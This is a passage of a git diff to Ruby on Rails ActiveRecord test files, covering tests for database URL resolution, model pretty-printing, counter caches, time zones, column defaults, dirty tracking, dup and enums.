+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
         end
 
         def test_url_port
           spec = resolve 'abstract://foo:123?encoding=utf8'
           assert_equal({
-            adapter:  "abstract",
-            port:     123,
-            host:     "foo",
-            encoding: "utf8" }, spec)
+            "adapter"  => "abstract",
+            "port"     => 123,
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
         end
 
         def test_encoded_password
           password = 'am@z1ng_p@ssw0rd#!'
           encoded_password = URI.encode_www_form_component(password)
           spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
-          assert_equal password, spec[:password]
+          assert_equal password, spec["password"]
         end
 
-        def test_descriptive_error_message_when_adapter_is_missing
-          error = assert_raise(LoadError) do
-            resolve(adapter: 'non-existing')
-          end
+        def test_url_with_authority_for_sqlite3
+          spec = resolve 'sqlite3:///foo_test'
+          assert_equal('/foo_test', spec["database"])
+        end
 
-          assert_match "Could not load 'active_record/connection_adapters/non-existing_adapter'", error.message
+        def test_url_absolute_path_for_sqlite3
+          spec = resolve 'sqlite3:/foo_test'
+          assert_equal('/foo_test', spec["database"])
         end
+
+        def test_url_relative_path_for_sqlite3
+          spec = resolve 'sqlite3:foo_test'
+          assert_equal('foo_test', spec["database"])
+        end
+
+        def test_url_memory_db_for_sqlite3
+          spec = resolve 'sqlite3::memory:'
+          assert_equal(':memory:', spec["database"])
+        end
+
+        def test_url_sub_key_for_sqlite3
+          spec = resolve :production, 'production' => {"url" => 'sqlite3:foo?encoding=utf8'}
+          assert_equal({
+            "adapter"  => "sqlite3",
+            "database" => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
       end
     end
   end
diff --git a/activerecord/test/cases/core_test.rb b/activerecord/test/cases/core_test.rb
index 2a52bf574c..3cb98832c5 100644
--- a/activerecord/test/cases/core_test.rb
+++ b/activerecord/test/cases/core_test.rb
@@ -1,6 +1,8 @@
 require 'cases/helper'
 require 'models/person'
 require 'models/topic'
+require 'pp'
+require 'active_support/core_ext/string/strip'
 
 class NonExistentTable < ActiveRecord::Base; end
 
@@ -30,4 +32,81 @@ class CoreTest < ActiveRecord::TestCase
   def test_inspect_class_without_table
     assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
   end
+
+  def test_pretty_print_new
+    topic = Topic.new
+    actual = ''
+    PP.pp(topic, StringIO.new(actual))
+    expected = <<-PRETTY.strip_heredoc
+    #<Topic:0xXXXXXX
+     id: nil,
+     title: nil,
+     author_name: nil,
+     author_email_address: "test@test.com",
+     written_on: nil,
+     bonus_time: nil,
+     last_read: nil,
+     content: nil,
+     important: nil,
+     approved: true,
+     replies_count: 0,
+     unique_replies_count: 0,
+     parent_id: nil,
+     parent_title: nil,
+     type: nil,
+     group: nil,
+     created_at: nil,
+     updated_at: nil>
+    PRETTY
+    assert actual.start_with?(expected.split('XXXXXX').first)
+    assert actual.end_with?(expected.split('XXXXXX').last)
+  end
+
+  def test_pretty_print_persisted
+    topic = topics(:first)
+    actual = ''
+    PP.pp(topic, StringIO.new(actual))
+    expected = <<-PRETTY.strip_heredoc
+    #<Topic:0x\\w+
+     id: 1,
+     title: "The First Topic",
+     author_name: "David",
+     author_email_address: "david@loudthinking.com",
+     written_on: 2003-07-16 14:28:11 UTC,
+     bonus_time: 2000-01-01 14:28:00 UTC,
+     last_read: Thu, 15 Apr 2004,
+     content: "Have a nice day",
+     important: nil,
+     approved: false,
+     replies_count: 1,
+     unique_replies_count: 0,
+     parent_id: nil,
+     parent_title: nil,
+     type: nil,
+     group: nil,
+     created_at: [^,]+,
+     updated_at: [^,>]+>
+    PRETTY
+    assert_match(/\A#{expected}\z/, actual)
+  end
+
+  def test_pretty_print_uninitialized
+    topic = Topic.allocate
+    actual = ''
+    PP.pp(topic, StringIO.new(actual))
+    expected = "#<Topic:XXXXXX not initialized>\n"
+    assert actual.start_with?(expected.split('XXXXXX').first)
+    assert actual.end_with?(expected.split('XXXXXX').last)
+  end
+
+  def test_pretty_print_overridden_by_inspect
+    subtopic = Class.new(Topic) do
+      def inspect
+        "inspecting topic"
+      end
+    end
+    actual = ''
+    PP.pp(subtopic.new, StringIO.new(actual))
+    assert_equal "inspecting topic\n", actual
+  end
 end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
index ee3d8a81c2..1f5055b2a2 100644
--- a/activerecord/test/cases/counter_cache_test.rb
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -19,6 +19,7 @@ class CounterCacheTest < ActiveRecord::TestCase
 
   class ::SpecialTopic < ::Topic
     has_many :special_replies, :foreign_key => 'parent_id'
+    has_many :lightweight_special_replies, -> { select('topics.id, topics.title') }, :foreign_key => 'parent_id', :class_name => 'SpecialReply'
   end
 
   class ::SpecialReply < ::Reply
@@ -51,6 +52,16 @@ class CounterCacheTest < ActiveRecord::TestCase
     end
   end
 
+  test "reset counters by counter name" do
+    # throw the count off by 1
+    Topic.increment_counter(:replies_count, @topic.id)
+
+    # check that it gets reset
+    assert_difference '@topic.reload.replies_count', -1 do
+      Topic.reset_counters(@topic.id, :replies_count)
+    end
+  end
+
   test 'reset multiple counters' do
     Topic.update_counters @topic.id, replies_count: 1, unique_replies_count: 1
     assert_difference ['@topic.reload.replies_count', '@topic.reload.unique_replies_count'], -1 do
@@ -154,10 +165,37 @@ class CounterCacheTest < ActiveRecord::TestCase
     end
   end
 
-  test "the passed symbol needs to be an association name" do
+  test "the passed symbol needs to be an association name or counter name" do
     e = assert_raises(ArgumentError) do
-      Topic.reset_counters(@topic.id, :replies_count)
+      Topic.reset_counters(@topic.id, :undefined_count)
     end
-    assert_equal "'Topic' has no association called 'replies_count'", e.message
+    assert_equal "'Topic' has no association called 'undefined_count'", e.message
+  end
+
+  test "reset counter works with select declared on association" do
+    special = SpecialTopic.create!(:title => 'Special')
+    SpecialTopic.increment_counter(:replies_count, special.id)
+
+    assert_difference 'special.reload.replies_count', -1 do
+      SpecialTopic.reset_counters(special.id, :lightweight_special_replies)
+    end
+  end
+
+  test "counters are updated both in memory and in the database on create" do
+    car = Car.new(engines_count: 0)
+    car.engines = [Engine.new, Engine.new]
+    car.save!
+
+    assert_equal 2, car.engines_count
+    assert_equal 2, car.reload.engines_count
+  end
+
+  test "counter caches are updated in memory when the default value is nil" do
+    car = Car.new(engines_count: nil)
+    car.engines = [Engine.new, Engine.new]
+    car.save!
+
+    assert_equal 2, car.engines_count
+    assert_equal 2, car.reload.engines_count
   end
 end
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
index 427076bd80..4cbff564aa 100644
--- a/activerecord/test/cases/date_time_test.rb
+++ b/activerecord/test/cases/date_time_test.rb
@@ -3,9 +3,11 @@ require 'models/topic'
 require 'models/task'
 
 class DateTimeTest < ActiveRecord::TestCase
+  include InTimeZone
+
   def test_saves_both_date_and_time
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         time_values = [1807, 2, 10, 15, 30, 45]
         # create DateTime value with local time zone offset
         local_offset = Rational(Time.local(*time_values).utc_offset, 86400)
@@ -29,6 +31,14 @@ class DateTimeTest < ActiveRecord::TestCase
     assert_nil task.ending
   end
 
+  def test_assign_bad_date_time_with_timezone
+    in_time_zone "Pacific Time (US & Canada)" do
+      task = Task.new
+      task.starting = '2014-07-01T24:59:59GMT'
+      assert_nil task.starting
+    end
+  end
+
   def test_assign_empty_date
     topic = Topic.new
     topic.last_read = ''
@@ -40,4 +50,12 @@ class DateTimeTest < ActiveRecord::TestCase
     topic.bonus_time = ''
     assert_nil topic.bonus_time
   end
+
+  def test_assign_in_local_timezone
+    now = DateTime.now
+    with_timezone_config default: :local do
+      task = Task.new starting: now
+      assert_equal now, task.starting
+    end
+  end
 end
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index 7e3d91e08c..b9db0d0123 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -18,27 +18,50 @@ class DefaultTest < ActiveRecord::TestCase
     end
   end
 
-  if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
-    def test_default_integers
-      default = Default.new
-      assert_instance_of Fixnum, default.positive_integer
-      assert_equal 1, default.positive_integer
-      assert_instance_of Fixnum, default.negative_integer
-      assert_equal(-1, default.negative_integer)
-      assert_instance_of BigDecimal, default.decimal_number
-      assert_equal BigDecimal.new("2.78"), default.decimal_number
-    end
-  end
-
   if current_adapter?(:PostgreSQLAdapter)
     def test_multiline_default_text
+      record = Default.new
       # older postgres versions represent the default with escapes ("\\012" for a newline)
-      assert( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
-               "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
+      assert("--- []\n\n" == record.multiline_default || "--- []\\012\\012" == record.multiline_default)
     end
   end
 end
 
+class DefaultNumbersTest < ActiveRecord::TestCase
+  class DefaultNumber < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :default_numbers do |t|
+      t.integer :positive_integer, default: 7
+      t.integer :negative_integer, default: -5
+      t.decimal :decimal_number, default: "2.78", precision: 5, scale: 2
+    end
+  end
+
+  teardown do
+    @connection.drop_table :default_numbers, if_exists: true
+  end
+
+  def test_default_positive_integer
+    record = DefaultNumber.new
+    assert_equal 7, record.positive_integer
+    assert_equal "7", record.positive_integer_before_type_cast
+  end
+
+  def test_default_negative_integer
+    record = DefaultNumber.new
+    assert_equal (-5), record.negative_integer
+    assert_equal "-5", record.negative_integer_before_type_cast
+  end
+
+  def test_default_decimal_number
+    record = DefaultNumber.new
+    assert_equal BigDecimal.new("2.78"), record.decimal_number
+    assert_equal "2.78", record.decimal_number_before_type_cast
+  end
+end
+
 class DefaultStringsTest < ActiveRecord::TestCase
   class DefaultString < ActiveRecord::Base; end
 
@@ -99,19 +122,21 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
     def test_mysql_text_not_null_defaults_non_strict
       using_strict(false) do
         with_text_blob_not_null_table do |klass|
-          assert_equal '', klass.columns_hash['non_null_blob'].default
-          assert_equal '', klass.columns_hash['non_null_text'].default
+          record = klass.new
+          assert_equal '', record.non_null_blob
+          assert_equal '', record.non_null_text
 
-          assert_nil klass.columns_hash['null_blob'].default
-          assert_nil klass.columns_hash['null_text'].default
+          assert_nil record.null_blob
+          assert_nil record.null_text
 
-          instance = klass.create!
+          record.save!
+          record.reload
 
-          assert_equal '', instance.non_null_text
-          assert_equal '', instance.non_null_blob
+          assert_equal '', record.non_null_text
+          assert_equal '', record.non_null_blob
 
-          assert_nil instance.null_text
-          assert_nil instance.null_blob
+          assert_nil record.null_text
+          assert_nil record.null_blob
         end
       end
     end
@@ -119,10 +144,11 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
     def test_mysql_text_not_null_defaults_strict
       using_strict(true) do
         with_text_blob_not_null_table do |klass|
-          assert_nil klass.columns_hash['non_null_blob'].default
-          assert_nil klass.columns_hash['non_null_text'].default
-          assert_nil klass.columns_hash['null_blob'].default
-          assert_nil klass.columns_hash['null_text'].default
+          record = klass.new
+          assert_nil record.non_null_blob
+          assert_nil record.non_null_text
+          assert_nil record.null_blob
+          assert_nil record.null_text
 
           assert_raises(ActiveRecord::StatementInvalid) { klass.create }
         end
@@ -154,7 +180,7 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
         t.column :omit, :integer, :null => false
       end
 
-      assert_equal 0, klass.columns_hash['zero'].default
+      assert_equal '0', klass.columns_hash['zero'].default
       assert !klass.columns_hash['zero'].null
       # 0 in MySQL 4, nil in 5.
       assert [0, nil].include?(klass.columns_hash['omit'].default)
@@ -172,43 +198,3 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
     end
   end
 end
-
-if current_adapter?(:PostgreSQLAdapter)
-  class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase
-    def setup
-      @connection = ActiveRecord::Base.connection
-
-      @old_search_path = @connection.schema_search_path
-      @connection.schema_search_path = "schema_1, pg_catalog"
-      @connection.create_table "defaults" do |t|
-        t.text "text_col", :default => "some value"
-        t.string "string_col", :default => "some value"
-      end
-      Default.reset_column_information
-    end
-
-    def test_text_defaults_in_new_schema_when_overriding_domain
-      assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parse"
-    end
-
-    def test_string_defaults_in_new_schema_when_overriding_domain
-      assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parse"
-    end
-
-    def test_bpchar_defaults_in_new_schema_when_overriding_domain
-      @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'"
-      Default.reset_column_information
-      assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parse"
-    end
-
-    def test_text_defaults_after_updating_column_default
-      @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text"
-      assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parse after updating default using '::text' since postgreSQL will add parens to the default in db"
-    end
-
-    def teardown
-      @connection.schema_search_path = @old_search_path
-      Default.reset_column_information
-    end
-  end
-end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index b277ef0317..c2573ac72b 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -125,30 +125,30 @@ class DirtyTest < ActiveRecord::TestCase
   end
 
   def test_time_attributes_changes_without_time_zone
-    target = Class.new(ActiveRecord::Base)
-    target.table_name = 'pirates'
-
-    target.time_zone_aware_attributes = false
+    with_timezone_config aware_attributes: false do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = 'pirates'
 
-    # New record - no changes.
-    pirate = target.new
-    assert !pirate.created_on_changed?
-    assert_nil pirate.created_on_change
+      # New record - no changes.
+      pirate = target.new
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
 
-    # Saved - no changes.
-    pirate.catchphrase = 'arrrr, time zone!!'
-    pirate.save!
-    assert !pirate.created_on_changed?
-    assert_nil pirate.created_on_change
+      # Saved - no changes.
+      pirate.catchphrase = 'arrrr, time zone!!'
+      pirate.save!
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
 
-    # Change created_on.
-    old_created_on = pirate.created_on
-    pirate.created_on = Time.now + 1.day
-    assert pirate.created_on_changed?
-    # kind_of does not work because
-    # ActiveSupport::TimeWithZone.name == 'Time'
-    assert_instance_of Time, pirate.created_on_was
-    assert_equal old_created_on, pirate.created_on_was
+      # Change created_on.
+      old_created_on = pirate.created_on
+      pirate.created_on = Time.now + 1.day
+      assert pirate.created_on_changed?
+      # kind_of does not work because
+      # ActiveSupport::TimeWithZone.name == 'Time'
+      assert_instance_of Time, pirate.created_on_was
+      assert_equal old_created_on, pirate.created_on_was
+    end
   end
 
 
@@ -165,11 +165,11 @@ class DirtyTest < ActiveRecord::TestCase
     assert_equal parrot.name_change, parrot.title_change
   end
 
-  def test_reset_attribute!
+  def test_restore_attribute!
     pirate = Pirate.create!(:catchphrase => 'Yar!')
     pirate.catchphrase = 'Ahoy!'
 
-    pirate.reset_catchphrase!
+    pirate.restore_catchphrase!
     assert_equal "Yar!", pirate.catchphrase
     assert_equal Hash.new, pirate.changes
     assert !pirate.catchphrase_changed?
@@ -309,16 +309,14 @@ class DirtyTest < ActiveRecord::TestCase
   def test_attribute_will_change!
     pirate = Pirate.create!(:catchphrase => 'arr')
 
-    pirate.catchphrase << ' matey'
     assert !pirate.catchphrase_changed?
-
     assert pirate.catchphrase_will_change!
     assert pirate.catchphrase_changed?
-    assert_equal ['arr matey', 'arr matey'], pirate.catchphrase_change
+    assert_equal ['arr', 'arr'], pirate.catchphrase_change
 
-    pirate.catchphrase << '!'
+    pirate.catchphrase << ' matey!'
     assert pirate.catchphrase_changed?
-    assert_equal ['arr matey', 'arr matey!'], pirate.catchphrase_change
+    assert_equal ['arr', 'arr matey!'], pirate.catchphrase_change
   end
 
   def test_association_assignment_changes_foreign_key
@@ -400,7 +398,7 @@ class DirtyTest < ActiveRecord::TestCase
   def test_dup_objects_should_not_copy_dirty_flag_from_creator
     pirate = Pirate.create!(:catchphrase => "shiver me timbers")
     pirate_dup = pirate.dup
-    pirate_dup.reset_catchphrase!
+    pirate_dup.restore_catchphrase!
     pirate.catchphrase = "I love Rum"
     assert pirate.catchphrase_changed?
     assert !pirate_dup.catchphrase_changed?
@@ -445,11 +443,20 @@ class DirtyTest < ActiveRecord::TestCase
   def test_save_should_store_serialized_attributes_even_with_partial_writes
     with_partial_writes(Topic) do
       topic = Topic.create!(:content => {:a => "a"})
+
+      assert_not topic.changed?
+
       topic.content[:b] = "b"
-      #assert topic.changed? # Known bug, will fail
+
+      assert topic.changed?
+
       topic.save!
+
+      assert_not topic.changed?
       assert_equal "b", topic.content[:b]
+
       topic.reload
+
       assert_equal "b", topic.content[:b]
     end
   end
@@ -584,6 +591,14 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
+  def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+    time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone('Paris')
+    pirate = Pirate.create!(:catchphrase => 'rrrr', :created_on => time_in_paris)
+
+    pirate.created_on = pirate.created_on.in_time_zone('Tokyo').to_s
+    assert !pirate.created_on_changed?
+  end
+
   test "partial insert" do
     with_partial_writes Person do
       jon = nil
@@ -608,6 +623,112 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
+  test "defaults with type that implements `type_cast_for_database`" do
+    type = Class.new(ActiveRecord::Type::Value) do
+      def type_cast(value)
+        value.to_i
+      end
+
+      def type_cast_for_database(value)
+        value.to_s
+      end
+    end
+
+    model_class = Class.new(ActiveRecord::Base) do
+      self.table_name = 'numeric_data'
+      attribute :foo, type.new, default: 1
+    end
+
+    model = model_class.new
+    assert_not model.foo_changed?
+
+    model = model_class.new(foo: 1)
+    assert_not model.foo_changed?
+
+    model = model_class.new(foo: '1')
+    assert_not model.foo_changed?
+  end
+
+  test "in place mutation detection" do
+    pirate = Pirate.create!(catchphrase: "arrrr")
+    pirate.catchphrase << " matey!"
+
+    assert pirate.catchphrase_changed?
+    expected_changes = {
+      "catchphrase" => ["arrrr", "arrrr matey!"]
+    }
+    assert_equal(expected_changes, pirate.changes)
+    assert_equal("arrrr", pirate.catchphrase_was)
+    assert pirate.catchphrase_changed?(from: "arrrr")
+    assert_not pirate.catchphrase_changed?(from: "anything else")
+    assert pirate.changed_attributes.include?(:catchphrase)
+
+    pirate.save!
+    pirate.reload
+
+    assert_equal "arrrr matey!", pirate.catchphrase
+    assert_not pirate.changed?
+  end
+
+  test "in place mutation for binary" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = :binaries
+      serialize :data
+    end
+
+    binary = klass.create!(data: "\\\\foo")
+
+    assert_not binary.changed?
+
+    binary.data = binary.data.dup
+
+    assert_not binary.changed?
+
+    binary = klass.last
+
+    assert_not binary.changed?
+
+    binary.data << "bar"
+
+    assert binary.changed?
+  end
+
+  test "attribute_changed? doesn't compute in-place changes for unrelated attributes" do
+    test_type_class = Class.new(ActiveRecord::Type::Value) do
+      define_method(:changed_in_place?) do |*|
+        raise
+      end
+    end
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'people'
+      attribute :foo, test_type_class.new
+    end
+
+    model = klass.new(first_name: "Jim")
+    assert model.first_name_changed?
+  end
+
+  test "attribute_will_change! doesn't try to save non-persistable attributes" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'people'
+      attribute :non_persisted_attribute, :string
+    end
+
+    record = klass.new(first_name: "Sean")
+    record.non_persisted_attribute_will_change!
+
+    assert record.non_persisted_attribute_changed?
+    assert record.save
+  end
+
+  test "mutating and then assigning doesn't remove the change" do
+    pirate = Pirate.create!(catchphrase: "arrrr")
+    pirate.catchphrase << " matey!"
+    pirate.catchphrase = "arrrr matey!"
+
+    assert pirate.catchphrase_changed?(from: "arrrr", to: "arrrr matey!")
+  end
+
   private
     def with_partial_writes(klass, on = true)
       old = klass.partial_writes?
diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb
index 1fecfd077e..94447addc1 100644
--- a/activerecord/test/cases/disconnected_test.rb
+++ b/activerecord/test/cases/disconnected_test.rb
@@ -7,21 +7,22 @@ class TestDisconnectedAdapter < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
   def setup
-    skip "in-memory database mustn't disconnect" if in_memory_db?
     @connection = ActiveRecord::Base.connection
   end
 
-  def teardown
+  teardown do
     return if in_memory_db?
     spec = ActiveRecord::Base.connection_config
     ActiveRecord::Base.establish_connection(spec)
   end
 
-  test "can't execute statements while disconnected" do
-    @connection.execute "SELECT count(*) from products"
-    @connection.disconnect!
-    assert_raises(ActiveRecord::StatementInvalid) do
+  unless in_memory_db?
+    test "can't execute statements while disconnected" do
       @connection.execute "SELECT count(*) from products"
+      @connection.disconnect!
+      assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.execute "SELECT count(*) from products"
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index 1e6ccecfab..638cffe0e6 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'models/reply'
 require 'models/topic'
 
 module ActiveRecord
@@ -32,6 +33,14 @@ module ActiveRecord
       assert duped.new_record?, 'topic is new'
     end
 
+    def test_dup_not_destroyed
+      topic = Topic.first
+      topic.destroy
+
+      duped = topic.dup
+      assert_not duped.destroyed?
+    end
+
     def test_dup_has_no_id
       topic = Topic.first
       duped = topic.dup
@@ -132,5 +141,17 @@ module ActiveRecord
     ensure
       Topic.default_scopes = prev_default_scopes
     end
+
+    def test_dup_without_primary_key
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = 'parrots_pirates'
+      end
+
+      record = klass.create!
+
+      assert_nothing_raised do
+        record.dup
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
new file mode 100644
index 0000000000..ed568413a2
--- /dev/null
+++ b/activerecord/test/cases/enum_test.rb
@@ -0,0 +1,305 @@
+require 'cases/helper'
+require 'models/book'
+
+class EnumTest < ActiveRecord::TestCase
+  fixtures :books
+
+  setup do
+    @book = books(:awdr)
+  end
+
+  test "query state by predicate" do
+    assert @book.proposed?
+    assert_not @book.written?
+    assert_not @book.published?
+
+    assert @book.unread?
+  end
+
+  test "query state with strings" do
+    assert_equal "proposed", @book.status
+    assert_equal "unread", @book.read_status
+  end
+
+  test "find via scope" do
+    assert_equal @book, Book.proposed.first
+    assert_equal @book, Book.unread.first
+  end
+
+  test "build from scope" do
+    assert Book.proposed.build.proposed?
+    refute Book.proposed.build.written?
+    assert Book.where(status: Book.statuses[:proposed]).build.proposed?
+  end
+
+  test "find via where" do
+    assert_equal @book, Book.where(status: "proposed").first
+    refute_equal @book, Book.where(status: "written").first
+  end
+
+  test "update by declaration" do
+    @book.written!
+    assert @book.written?
+  end
+
+  test "update by setter" do
+    @book.update! status: :written
+    assert @book.written?
+  end
+
+  test "enum methods are overwritable" do
+    assert_equal "do publish work...", @book.published!
+    assert @book.published?
+  end
+
+  test "direct assignment" do
+    @book.status = :written
+    assert @book.written?
+  end
+
+  test "assign string value" do
+    @book.status = "written"
+    assert @book.written?
+  end
+
+  test "enum changed attributes" do
+    old_status = @book.status
+    @book.status = :published
+    assert_equal old_status, @book.changed_attributes[:status]
+  end
+
+  test "enum changes" do
+    old_status = @book.status
+    @book.status = :published
+    assert_equal [old_status, 'published'], @book.changes[:status]
+  end
+
+  test "enum attribute was" do
+    old_status = @book.status
+    @book.status = :published
+    assert_equal old_status, @book.attribute_was(:status)
+  end
+
+  test "enum attribute changed" do
+    @book.status = :published
+    assert @book.attribute_changed?(:status)
+  end
+
+  test "enum attribute changed to" do
+    @book.status = :published
+    assert @book.attribute_changed?(:status, to: 'published')
+  end
+
+  test "enum attribute changed from" do
+    old_status = @book.status
+    @book.status = :published
+    assert @book.attribute_changed?(:status, from: old_status)
+  end
+
+  test "enum attribute changed from old status to new status" do
+    old_status = @book.status
+    @book.status = :published
+    assert @book.attribute_changed?(:status, from: old_status, to: 'published')
+  end
+
+  test "enum didn't change" do
+    old_status = @book.status
+    @book.status = old_status
+    assert_not @book.attribute_changed?(:status)
+  end
+
+  test "persist changes that are dirty" do
+    @book.status = :published
+    assert @book.attribute_changed?(:status)
+    @book.status = :written
+    assert @book.attribute_changed?(:status)
+  end
+
+  test "reverted changes that are not dirty" do
+    old_status = @book.status
+    @book.status = :published
+    assert @book.attribute_changed?(:status)
+    @book.status = old_status
+    assert_not @book.attribute_changed?(:status)
+  end
+
+  test "reverted changes are not dirty going from nil to value and back" do
+    book = Book.create!(nullable_status: nil)
+
+    book.nullable_status = :married
+    assert book.attribute_changed?(:nullable_status)
+
+    book.nullable_status = nil
+    assert_not book.attribute_changed?(:nullable_status)
+  end
+
+  test "assign non existing value raises an error" do
+    e = assert_raises(ArgumentError) do
+      @book.status = :unknown
+    end
+    assert_equal "'unknown' is not a valid status", e.message
+  end
+
+  test "assign nil value" do
+    @book.status = nil
+    assert @book.status.nil?
+  end
+
+  test "assign empty string value" do
+    @book.status = ''
+    assert @book.status.nil?
+  end
+
+  test "assign long empty string value" do
+    @book.status = '   '
+    assert @book.status.nil?
+  end
+
+  test "constant to access the mapping" do
+    assert_equal 0, Book.statuses[:proposed]
+    assert_equal 1, Book.statuses["written"]
+    assert_equal 2, Book.statuses[:published]
+  end
+
+  test "building new objects with enum scopes" do
+    assert Book.written.build.written?
+    assert Book.read.build.read?
+  end
+
+  test "creating new objects with enum scopes" do
+    assert Book.written.create.written?
+    assert Book.read.create.read?
+  end
+
+  test "_before_type_cast returns the enum label (required for form fields)" do
+    if @book.status_came_from_user?
+      assert_equal "proposed", @book.status_before_type_cast
+    else
+      assert_equal "proposed", @book.status
+    end
+  end
+
+  test "reserved enum names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published]
+    end
+
+    conflicts = [
+      :column,     # generates class method .columns, which conflicts with an AR method
+      :logger,     # generates #logger, which conflicts with an AR method
+      :attributes, # generates #attributes=, which conflicts with an AR method
+    ]
+
+    conflicts.each_with_index do |name, i|
+      assert_raises(ArgumentError, "enum name `#{name}` should not be allowed") do
+        klass.class_eval { enum name => ["value_#{i}"] }
+      end
+    end
+  end
+
+  test "reserved enum values" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published]
+    end
+
+    conflicts = [
+      :new,      # generates a scope that conflicts with an AR class method
+      :valid,    # generates #valid?, which conflicts with an AR method
+      :save,     # generates #save!, which conflicts with an AR method
+      :proposed, # same value as an existing enum
+      :public, :private, :protected, # some important methods on Module and Class
+      :name, :parent, :superclass
+    ]
+
+    conflicts.each_with_index do |value, i|
+      assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
+        klass.class_eval { enum "status_#{i}" => [value] }
+      end
+    end
+  end
+
+  test "overriding enum method should not raise" do
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+
+        def published!
+          super
+          "do publish work..."
+        end
+
+        enum status: [:proposed, :written, :published]
+
+        def written!
+          super
+          "do written work..."
+        end
+      end
+    end
+  end
+
+  test "validate uniqueness" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Book'; end
+      enum status: [:proposed, :written]
+      validates_uniqueness_of :status
+    end
+    klass.delete_all
+    klass.create!(status: "proposed")
+    book = klass.new(status: "written")
+    assert book.valid?
+    book.status = "proposed"
+    assert_not book.valid?
+  end
+
+  test "validate inclusion of value in array" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Book'; end
+      enum status: [:proposed, :written]
+      validates_inclusion_of :status, in: ["written"]
+    end
+    klass.delete_all
+    invalid_book = klass.new(status: "proposed")
+    assert_not invalid_book.valid?
+    valid_book = klass.new(status: "written")
+    assert valid_book.valid?
+  end
+
+  test "enums are distinct per class" do
+    klass1 = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written]
+    end
+
+    klass2 = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:drafted, :uploaded]
+    end
+
+    book1 = klass1.proposed.create!
+    book1.status = :written
+    assert_equal ['proposed', 'written'], book1.status_change
+
+    book2 = klass2.drafted.create!
+    book2.status = :uploaded
+    assert_equal ['drafted', 'uploaded'], book2.status_change
+  end
+
+  test "enums are inheritable" do
+    subklass1 = Class.new(Book)
+
+    subklass2 = Class.new(Book) do
+      enum status: [:drafted, :uploaded]
+    end
+
+    book1 = subklass1.proposed.create!
+    book1.status = :written
+    assert_equal ['proposed', 'written'], book1.status_change
+
+    book2 = subklass2.drafted.create!
+    book2.status = :uploaded
+    assert_equal ['drafted', 'uploaded'], book2.status_change
+  end
+end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
index b00e2744b9..8de2ddb10d 100644
--- a/activerecord/test/cases/explain_subscriber_test.rb
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -48,7 +48,7 @@ if ActiveRecord::Base.connection.supports_explain?
       assert queries.empty?
     end
 
-    def teardown
+    teardown do
       ActiveRecord::ExplainRegistry.reset
     end
 
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
index 6dac5db111..f1d5511bb8 100644
